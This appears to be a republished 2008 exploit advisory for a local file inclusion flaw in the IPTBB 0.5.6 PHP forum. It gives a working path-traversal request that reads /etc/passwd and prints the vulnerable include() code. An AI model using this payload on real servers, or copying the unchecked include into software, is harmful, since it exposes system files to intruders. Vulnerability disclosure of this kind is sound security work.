IPTBB 0.5.6 (index.php act) Local File Inclusion Vulnerability

🗓️ 21 Jun 2008 00:00:00Reported by RootType

IPTBB 0.5.6 Local File Inclusion Vulnerability in index.ph


                                                &nbsp;&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;___&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;__
&nbsp;/&nbsp;___|&nbsp;___&nbsp;|&nbsp;\&nbsp;|&nbsp;|_&nbsp;&nbsp;&nbsp;_|&nbsp;|&nbsp;\&nbsp;\&nbsp;/&nbsp;/__&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;_&nbsp;__&nbsp;___&nbsp;&nbsp;___|&nbsp;|/&nbsp;_|&nbsp;___&nbsp;&nbsp;_&nbsp;__&nbsp;__&nbsp;_
|&nbsp;|&nbsp;&nbsp;_&nbsp;/&nbsp;_&nbsp;\|&nbsp;&nbsp;\|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|\&nbsp;V&nbsp;/&nbsp;_&nbsp;\|&nbsp;|&nbsp;|&nbsp;|&nbsp;'__/&nbsp;__|/&nbsp;_&nbsp;\&nbsp;|&nbsp;|_&nbsp;/&nbsp;_&nbsp;\|&nbsp;'__/&nbsp;_`&nbsp;|
|&nbsp;|_|&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|\&nbsp;&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;&nbsp;\__&nbsp;\&nbsp;&nbsp;__/&nbsp;|&nbsp;&nbsp;_|&nbsp;(_)&nbsp;|&nbsp;|&nbsp;|&nbsp;(_|&nbsp;|
&nbsp;\____|\___/|_|&nbsp;\_|\__,_|_|_|&nbsp;|_|\___/&nbsp;\__,_|_|&nbsp;&nbsp;|___/\___|_|_|(_)___/|_|&nbsp;&nbsp;\__,&nbsp;|
---------------------------------------------------------------------------|___/
Exploit&nbsp;found&nbsp;by&nbsp;sToRm

IPTBB&nbsp;is&nbsp;a&nbsp;free&nbsp;forum&nbsp;system&nbsp;built&nbsp;using&nbsp;PHP&nbsp;and&nbsp;mysql.
Local&nbsp;File&nbsp;Inclusion

Local&nbsp;File&nbsp;Inclusion
--------------------

index.php?act=../../../../../../etc/passwd%00


function&nbsp;action($page){
	$page=&quot;main/&quot;.$page.&quot;.php&quot;;
	//Include&nbsp;the&nbsp;template&nbsp;maker
	//Get&nbsp;the&nbsp;settings
$setting&nbsp;=&nbsp;array();
$sql&nbsp;=&nbsp;mysql_query(&quot;&nbsp;SELECT&nbsp;*&nbsp;FROM&nbsp;`iptbb_settings`&nbsp;&quot;);

while&nbsp;(&nbsp;$row&nbsp;=&nbsp;mysql_fetch_array(&nbsp;$sql&nbsp;)&nbsp;){
	$setting[&quot;{$row['name']}&quot;]&nbsp;=&nbsp;$row['value'];
}

	require_once('tpl.class.php');
	$tpl&nbsp;=&nbsp;new&nbsp;template;
	$fileurl&nbsp;=&nbsp;'templates/';
	$template&nbsp;=&nbsp;$setting['template']&nbsp;.&nbsp;'/';
	include($page);
}

21 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1